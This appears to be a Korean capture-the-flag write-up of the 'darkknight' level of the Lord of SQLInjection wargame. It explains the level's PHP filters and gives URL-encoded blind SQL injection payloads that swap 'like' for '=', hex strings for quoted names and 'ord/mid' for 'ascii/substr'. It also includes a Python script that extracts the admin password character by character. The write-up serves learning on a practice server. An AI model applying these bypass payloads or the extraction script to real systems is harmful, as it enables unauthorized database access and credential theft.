본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : darkknight

Write-Up

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";

 

필터링 조건 및 query를 보내기 위한 조건은 위와 같다. 

 

처음에는 '(%27)이 필터링 되고 있고, ' \ ' (백 슬래시) 문자가 필터링 되어 있지 않아서, 아래와 같은 방식으로 우회를 시도하려 했으나, 본 문제는 아래 query 상황과는 다르다. no 필드에서 '(%27)가 사용되지 않는다. 

 

ex. select test1 from test where id='\' and pw=' or 1#
-> parameter : id=\&pw=%20or%201%23

 

pw 필드를 사용하여, blind sql injection을 시도하기에는 무리가 있다고 판단하였고,  no 필드를 이용하기로 했다. 

 

?pw=guest&no=123456%20or%201%20like%201%20and%20id%20like%200x61646d696e%23

?pw=guest&no=0%20or%201%20like%201%23

 

위와 같은 payload 전달 시, Hello admin이 출력되고, Hello guest가 출력된다. 

 

궁극적으로 pw를 구해야 하므로, pw 길이를 찾아보았다. 

 

?pw=guest&no=1%20or%201%20like%201%20and%20id%20like%200x61646d696e%20%26%26%20length(pw)%20like%208%23

?pw=guest&no=1%20or%20id%20like%200x61646d696e%20%26%26%20length(pw)%20like%208%23

+plus ( guest pw 길이 )
?pw=guest&no=1%20or%20id%20like%200x6775657374%20%26%26%20length(pw)%20like%2020%23


위 payload로 id가 admin일 때, pw길이는 8글자인 것을 알아냈다. 

 

pw를 구하기 위한 코드는 아래와 같았다. ( ascii 는 ord로 우회가 가능하고, = 는 like 로 우회가 가능하다. )

 

import requests
import string

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=guest&no=0 or id like 0x61646d696e and "

cookies ={'PHPSESSID':"td5o1rar8mk5q4a7u5j478pkoc"}
result=""

for i in range(1,9):
    for j in range(33,127):
        param="ord(mid(pw,"+str(i)+",1)) like "+str(j)+"%23"
        URL = url+param
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text:
            result += chr(j)
            break
print("pw: "+result)

 

 

처음 위 코드의 url 부분을 아래와 같이하고, 요청을 보냈을 때 pw 7자리가 출력되었다. ( 왜 그런지는.. ) 아래 url을 하드코딩한 상태로, 코드를 돌렸을 때 나온 pw 는 0b70ea1 이다. 

 

url="(( 생략 )) ?pw=guest&no=1 or "

 

아무튼! id = admin 일 경우의 pw를 정확히 구해주기 위해서, 올바른 코드로 수정했고 아래 그림 1과 같이 문제를 해결할 수 있었다. 

 

그림 1

 

 

 

 

참고

 

https://wikidocs.net/3915

 

2) SQL문을 이용하여 데이터 가져오기-2

### LIKE 연산자와 와일드 카드 * **LIKE** * 컬럼에 저장된 데이터의 시작 위치에 데이터가 일치하면 조회가 가능한 연산자이다. * 검색하고자 하는 값…

wikidocs.net